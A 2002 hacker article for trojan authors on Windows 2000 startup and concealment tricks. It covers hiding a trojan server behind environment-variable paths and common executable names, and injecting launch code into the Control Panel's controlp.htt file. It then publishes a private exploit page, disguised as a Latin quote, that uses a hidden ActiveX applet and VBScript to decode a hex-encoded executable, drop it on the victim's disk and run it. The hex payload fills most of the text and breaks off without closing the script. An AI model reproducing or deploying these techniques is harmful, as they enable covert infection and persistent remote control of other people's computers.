Written by Doc~
Released 3.29.02

New Startup Methods

www.megasecurity.org
This article and the oppinions are the sole belief of the author, and not those of the website. The author acknowledges that there maybe some false information, the author releasing everything at this time fully believes everything to be true, and unless proved otherwise, should be taken so. By reading and or distributing this information you the user are responsible for any actions or responses that may occur.

This version is intended for programmers and rat authors. These are some newer startup methods all methods have been confirmed to work on 2k. Also included are new ways to hide and refer to files without giving their location away. Assume that these methods have not been tried on other versions unless noted. Enjoy please keep this version of this article to yourself I will release a less intensive one on Megasecurity some time later. If you have questions, e mail me and if it works on another os version let me know I m very intrested if this paper has relivance toward other OS versions.

Templated Directories
Windows for easy refrencing uses variables for their most used folders e.g. %systemroot% refers to c:\winnt that is a common one but try %webdir% or %userappdata% This will help to make the actual path of the server obsecure.
Example
%webdir%\server.exe
The average user wont know where to find it. And if you use a common exe for example sol.exe or calc.exe, it will make it hard when they do a search for the exe to distinguish them.

Running Server as a .htt file
In case you aren't aware, .htt files are used as the code for example control pannel. There of course is control.exe and the *.cpl files that go along with it then there is c:\winnt\web\controlp.htt
Contents of controlp.htt
<!-- * Copyright 1999 Microsoft Corporation. All rights reserved. --> <html> <link rel=stylesheet href="%TEMPLATEDIR%\webview.css" title="Windows"> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <script language="JavaScript"> var L_Intro_Text = "Use the settings in Control Panel to personalize your computer.<br><br>"; var L_Prompt_Text = "Select an item to view its description."; var L_Multiple_Text = " items selected."; var gTimer = 0; var gDoBlends = false && (navigator.cpuClass != "Alpha" && screen.colorDepth > 8); function Resize() { if (document.body.clientWidth < Panel.style.pixelWidth * 2) { Panel.style.visibility = "hidden"; } else { Panel.style.visibility = "visible"; } } function Load() { Info.innerHTML = L_Intro_Text + L_Prompt_Text; // fix styles var L_SystemFont1_Text = "MS Sans Serif"; var L_SystemFont2_Text = "MS Shell Dlg"; var L_SystemFont_Text = "Tahoma, Verdana"; var tr = document.body.createTextRange(); if (navigator.cpuClass != "Alpha") { tr.collapse(); var actualFont = tr.queryCommandValue("FontName"); if (actualFont == L_SystemFont1_Text || actualFont == L_SystemFont2_Text) document.body.style.fontFamily = L_SystemFont_Text; } else document.body.style.fontFamily = L_SystemFont_Text; // call our Resize() function whenever the window gets resized window.onresize = Resize; Resize(); } function ShowInfo() { // this script updates the left info panel when you select icons var folder = FileList.Folder; var item; var data; var i; if (gDoBlends) { Panel.filters[0].Stop(); Panel.filters[0].Apply(); } data = FileList.SelectedItems().Count; if (data == 0) { // nothing selected? text = L_Intro_Text + L_Prompt_Text; } else if (data > 1) { // more than one item selected? text = data + L_Multiple_Text + "<br>"; if (data <= 16) for (i = 0; i < data; i++) text += "<br>" + FileList.SelectedItems().Item(i).Name; } else { item = FileList.SelectedItems().Item(0); text = "<b>" + folder.GetDetailsOf(item, 0) + "</b><br>" + folder.GetDetailsOf(item, 1); } Info.innerHTML = text; if (gDoBlends) Panel.filters[0].Play(); } </script> <script language="JavaScript" for="FileList" event="SelectionChanged"> window.clearTimeout(gTimer); gTimer = window.setTimeout("ShowInfo()", gDoBlends ? 500 : 0); // need actual double-click time </script> </head> <body scroll=no onload=Load()> <div id=Panel style="background: white URL(file://%TEMPLATEDIR%/wvleft.bmp) no-repeat"> <div id=Corner> <object id=FolderIcon classid="clsid:844F4806-E8A8-11d2-9652-00C04FC30871" tabIndex=-1> <param name="scale" value=100> </object> <br> <div id=FolderName> %THISDIRNAME% </div> </div> <img id=LogoLine src="%TEMPLATEDIR%\wvline.gif"> <div id=Details> <span id=Info> %THISDIRPATH% </span> <p> <id id=Link1> <a href="http://www.microsoft.com/isapi/redir.dll?prd=Win2000&ar=WinUpdate">Windows Update</a> <p class=Half> <id id=Link2> <a href="http://www.microsoft.com/isapi/redir.dll?prd=support&sbp=portal">Windows 2000 Support</a> </div> </div> <object id=FileList classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2" tabIndex=1> </object> </body> </html>

Heres a portion of the code upclose
var L_Intro_Text = "Use the settings in Control Panel to personalize your computer.";
var L_Prompt_Text = "Select an item to view its description.";
var L_Multiple_Text = " items selected.";
If you run control pannel you will see that text in on the left hand side of the window. This may not be new information to you but lets move on. A simple way to ensure your trojan is running. Is either create a program to check on the server or just call the server itself. Code example below:
function Load() {
Info.innerHTML = L_Intro_Text + L_Prompt_Text;
// fix styles
var L_SystemFont1_Text = "MS Sans Serif";
var L_SystemFont2_Text = "MS Shell Dlg";
var L_SystemFont_Text = "Tahoma, Verdana";
var tr = document.body.createTextRange();
alert('executed code');
if (navigator.cpuClass != "Alpha") {
tr.collapse();
var actualFont = tr.queryCommandValue("FontName");
if (actualFont == L_SystemFont1_Text || actualFont == L_SystemFont2_Text)
document.body.style.fontFamily = L_SystemFont_Text;
} else
document.body.style.fontFamily = L_SystemFont_Text;
// call our Resize() function whenever the window gets resized
window.onresize = Resize;

Resize();
}
Thats an example of injecting the code. Heres where you will be privi to Kid Arcades best work yet.

Kid awhile back coded a godwill 1.06 but didn't release it because he wanted to keep the exploit private. Abou 4 people have this code. It compiles the exe on the victims hard driver and runs it, without requiring reboot. Truly a masterpiece. Thanks kid for letting me share it.

<HTML><HEAD></HEAD><BODY onLoad="loadPage()" onMouseMove ="javascript:window.status='Done'" bgcolor='black'><center><font face='verdana' color='#3399CC'><h6>julius caesar:<br><font color='white'>venni viddi vicci <div class='damn' style='position:absolute; visibility:hidden'><APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div> <SCRIPT language=JAVASCRIPT> --> </SCRIPT> <script language="vbscript"> <!-- hide for safe browsers FileContent = array() 'some hex bytes (maximum 64k = 32k executable), i'm going to expand this by 'using an array but I stil have to find something to create an vbscript array that's 'compatible with javascript (above) FileContent=decode ("4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000 00000000000000000B80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E 20696E20444F53206D6F64652E0D0D0A24000000000000008F8AF9DBCBEB9788CBEB9788CBEB978848F79988CAEB9788A2F49E88C AEB978822F49A88CAEB978852696368CBEB97880000000000000000504500004C0103003FA9B03C0000000000000000E0000F010B 010600001000000020000000000000601100000010000000200000000040000010000000100000040000000100000004000000000 0000000400000001000003D7F0000020000000000100000100000000010000010000000000000100000000000000000000000541A 00002800000000300000D408000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000280200002000000000100000840000000000000000000000000000 000000000000000000000000002E74657874000000DC0C00000010000000100000001000000000000000000000000000002000006 02E64617461000000E0090000002000000010000000200000000000000000000000000000400000C02E72737263000000D4080000 00300000001000000030000000000000000000000000000040000040057CA1391000000000000000000000004D535642564D36302 E444C4C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00006CA30F66005B0F6673001066A2DA0266C1530F66485A0F6675530F66F21F0E660D540F660D550F66D4A40F66AC43026657D30 166FD5A0F6677E2026679A50F660D580D66584D026690570F66C1540F66678D106611A40F6641540F6641550F6675540F66B04E0F 6622DE0066CA061066A6A20F6662120F662AA60F66AD000F66000000000000000005000800041A4000000000000B1A40000000000 000000000FF252C104000FF2544104000FF2550104000FF2520104000FF2518104000FF2558104000FF2510104000FF2564104000 FF2524104000FF2560104000FF255C104000FF254C104000FF2534104000FF2548104000FF2514104000FF2504104000FF2570104 000FF2500104000FF257C104000FF2554104000FF2528104000FF253C104000FF2578104000FF2574104000FF250C104000FF2508 104000FF256C104000FF251C104000FF2540104000FF2530104000FF2538104000FF2568104000689C124000E8F0FFFFFF0000000 0000030000000400000000000000043C7D1011DBA254F9EA6881A34D158360000000000000100000000000000000050726F6A6563 7431000000000000000000000000FFCC31000075923DFE8E62EF40BB3C063C874A569162171214F9E2054CBF0038197BA2F1913A4 FAD339966CF11B70C00AA0060D3930000000000000000000000000000000000000000000000000000000000000000000000004300 00003E000000000500466F726D31000D010500466F726D3100190100420023FFFFFFFF240500466F726D3100353C0000005901000 0481200007B0C00004603FF045000000075923DFE8E62EF40BB3C063C874A56910000000000000000000000000000000000000000 1000000000000000000000000000000000000000000000009C00000000000000B01140004C00000056423521F01F2A00000000000 0000000000000007E000000000000000000000000000A000904000000000000000000007816400000F0300000FFFFFF0800000001 00000001000000E90000004C1240004C1240006C11400078000000810000008A0000008B000000000000000000000000000000000 0000050726F6A656374310050726F6A65637431000050726F6A6563743100010000008014400000000000F0184000FFFFFFFF0000 0000D41440000820400000000000D04F1A00000000000000000000000000A8134000010000003015400000000000A813400001000 000B013400000000000AC13400001000000B01340000100B70168006C00D8134000D822400000000000E024130040154000501540 0040001F003400000060154000FFFFFFFF0000000000000000DC134000B81F180070154000FFFFFFFF7814400000000000B013400 030134000481140004E11400054114000000000000000000000000000000000000000000000000000701440000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000816C240433000000E9C304000000000000 0000002C204000BC184000FFFFFFFF000000001C20400000BB573BE867ED459A82ECC0968710D00A00010004000100D4144000000 0000000000000000000000C1540000904000009040000000000000200000030134000FFFFFFFFEC15400000000000000000000000 0000181540000100000004154000FFFF00008380010000000000000000000000000050726F6A6563743100000000466F726D31000 00062171214F9E2054CBF0038197BA2F191835AD26EAD0C9B4986BBB0150FBDD9E475923DFE8E62EF40BB3C063C874A56919CADD8 2066F6634A9B1CD6F63D52FC303A4FAD339966CF11B70C00AA0060D393466F726D000000002E3DFBFCFAA06810A73808002B3371B 5433A5C50726F6772616D2046696C65735C4D6963726F736F66742056697375616C2053747564696F5C564239385C5642362E4F4C 42000000564200007815400000000000060000000900000088154000C0154000D0224000000000000000000060B617000C0040000 00000000000000040000000700072006F006700720061006D0020007700610073002000720075006E002000790075006F00200061 0072006500200061002000670065006E0075006900730000000000564241362E444C4C000000005F5F766261456E64000000005F5 F766261467265655661724C697374000000005F5F76626156617244757000F4010000801440000000000030194000501A4000D809 000008204000A6104000002040002A005C004100500072006F006A006500630074003100000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000004C12400000000000F0184000000000000000000080144000FFFFFFFF00000000B418400 0000000000000000000000000FFFFFFFF00000000C415400060154000D42240000000000030134000FFFFFFFF0000000000000000 00000000B818400000000000B4184000B4184000B41840000000000000000000000000004000000004000000E9E9E9E9CCCCCCCCC CCCCCCCCCCCCCCC558BEC83EC0C68A610400064A100000000506489250000000081EC880000005356578965F4C745F8881040008B 45088BC883E101894DFC24FE508945088B10FF5204B90400028033F6894DB4B80A000000894DC4894DD48975CC8975BC8975AC897 59C8D559C8D4DDC8975DC8945AC8945BC8945CCC745A4FC154000C7459C08000000FF156C1040008D45AC8D4DBC508D55CC51528D 45DC5650FF151C1040008D4DAC8D55BC518D45CC528D4DDC50516A04FF150810400083C414FF150C1040008975FC68281A4000EB1 C8D55AC8D45BC528D4DCC508D55DC51526A04FF150810400083C414C3C38B4508508B08FF51088B45FC8B4DEC5F5E64890D000000 005B8BE55DC204009090909090909090909E9E9E9E7C1A0000FFFFFFFFFFFFFFFF001B00000010000000000000000000000000000 000000000000000000E1B0000181B0000261B00003A1B0000461B0000561B0000641B000053020080741B0000861B0000981B0000 A21B0000B01B0000C41B0000D21B0000E81B0000F21B00000E1C0000241C0000321C0000441C0000581C0000621C0000741C00008 61C0000981C000064000080A61C0000B41C0000BE1C0000C81C0000D21C0000000000004D535642564D36302E444C4C000000005F 4349636F73000000005F61646A5F667074616E000000005F5F766261467265655661724C697374000000005F5F766261456E64000 000005F61646A5F666469765F6D36340000005F61646A5F667072656D310000005F61646A5F666469765F6D33320000005F61646A 5F666469765F6D313669000000005F61646A5F66646976725F6D3136690000005F434973696E000000005F5F76626143686B73746 B0000004556454E545F53494E4B5F4164645265660000005F61646A5F66706174616E0000004556454E545F53494E4B5F52656C65 617365000000005F4349737172740000004556454E545F53494E4B5F5175657279496E746572666163650000005F5F76626145786 365707448616E646C6572000000005F61646A5F667072656D000000005F61646A5F66646976725F6D3634000000005F5F76626146 50457863657074696F6E000000005F43496C6F67000000005F61646A5F666469765F6D333269000000005F61646A5F66646976725 F6D3332690000005F61646A5F66646976725F6D3332000000005F61646A5F666469765F720000005F5F7662615661724475700000 005F43496174616E0000005F616C6C6D756C0000005F434974616E000000005F43496578700000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000003FA9B03C1A0000000000030003000000580000800E000000400000801000000028000080000000003FA9B03C1 A000000000001000100000080000080000000003FA9B03C1A000000000001000100000098000080000000003FA9B03C1A00000000 00030031750000E000008032750000C800008033750000B0000080000000003FA9B03C1A0000000000010009040000F8000000000 000003FA9B03C1A000000000001000000000008010000000000003FA9B03C1A000000000001000000000018010000000000003FA9 B03C1A000000000001000000000028010000000000003FA9B03C1A0000000000010000000000380100005031000014020000B0040 000000000006433000030000000B0040000000000009433000028010000B004000000000000BC340000E8020000B0040000000000 00A437000030010000B0040000000000000000000000000000140234000000560053005F00560045005200530049004F004E005F0 049004E0046004F0000000000BD04EFFE000001000000010000000000000001000000000000000000000000000400000001000000 000000000000000000000000440000000000560061007200460069006C00650049006E0066006F000000000024000400000054007 20061006E0073006C006100740069006F006E00000000000904B00474010000010053007400720069006E006700460069006C0065 0049006E0066006F00000050010000010030003400300039003000340042003000000030001000010043006F006D00700061006E0 079004E0061006D0065000000000057006F005700200049006E0043000000340012000100500072006F0064007500630074004E00 61006D00650000000000500072006F006A006500630074003100000000002C000A000100460069006C00650056006500720073006 9006F006E000000000031002E00300030000000000030000A000100500072006F006400750063007400560065007200730069006F 006E00000031002E00300030000000000034001200010049006E007400650072006E0061006C004E0061006D00650000005000720 06F006A0065006300740031000000000044001A0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00 65000000500072006F006A0065006300740031002E006500780065000000000000000100030020200200010001003001000031752 020100001000400E8020000327510101000010004002801000033752800000010000000200000000100040000000000C000000000 0000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C000000 0FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000000000000000000000000000000000000000000000000000000 000008F07700000008FFFFF07770000FFFFFFFF07000000FFFFFFFF00000000FFFFFFFF00000000FFFFF80000000000F80000EE00 00000000EEEE0000000000EE000000000000000000000000000000000000000000000000000000000000000000000000000FFFF00 00FFFF0000FF8F0000F8030000C0010000C0070000C00F0000C00F0000C00F0000C00F0000C00F0000C07F0000C7FF0000FFFF000 0FFFF0000FFFF00002800000020000000400000000100040000000000800200000000000000000000000000000000000000000000 00008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00F FFF0000FFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000008FFF0770000000000000000000008FFFFFFF07777000000000000008FFFFFFFFFFFF0777777000000000FFFFFF FFFFFFFFFF0777700000000000FFFFFFFFFFFFFFFF0770000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFF F0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000 00000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFF88880000000000000000F FFFFFFF888800000000000000000000FFFF88880000EEEE000000000000000088880000EEEE000000000000000000000000EEEE00 0000000000000000000000EEEE0000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1FFFFFC007FFF80001FF8000007F800001FF800007FF80001FFF80001FFF80001FFF800 01FFF80001FFF80001FFF80001FFF80001FFF80001FFF80001FFF80001FFF8003FFFF803FFFFF83FFFFFFBFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2800000020000000400000000100010000000000000100000000000000000000000000 000000000000000000FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1FFFFFC3C7FFFC3FC1FF83FFC07FBFFFC1 FFBFFFC7FFBFFFDFFFBFFFDFFFBFFFDFFFBFFFDFFFBFFFDFFFBFFFDFFFBFFFDFFFBFFFDFFFBFFC1FFFBFC3DFFFBC3C1FFF83C3FFF FBC3FFFFF83FFFFFFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFC1FFFFFC007FFFC0001FF8000007F800001FF800007FF80001FFF80001FFF80001FFF80001FFF80001FFF80001FFF8 0001FFF80001FFF80001FFF80001FFF80001FFF8003FFFF803FFFFF83FFFFFFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 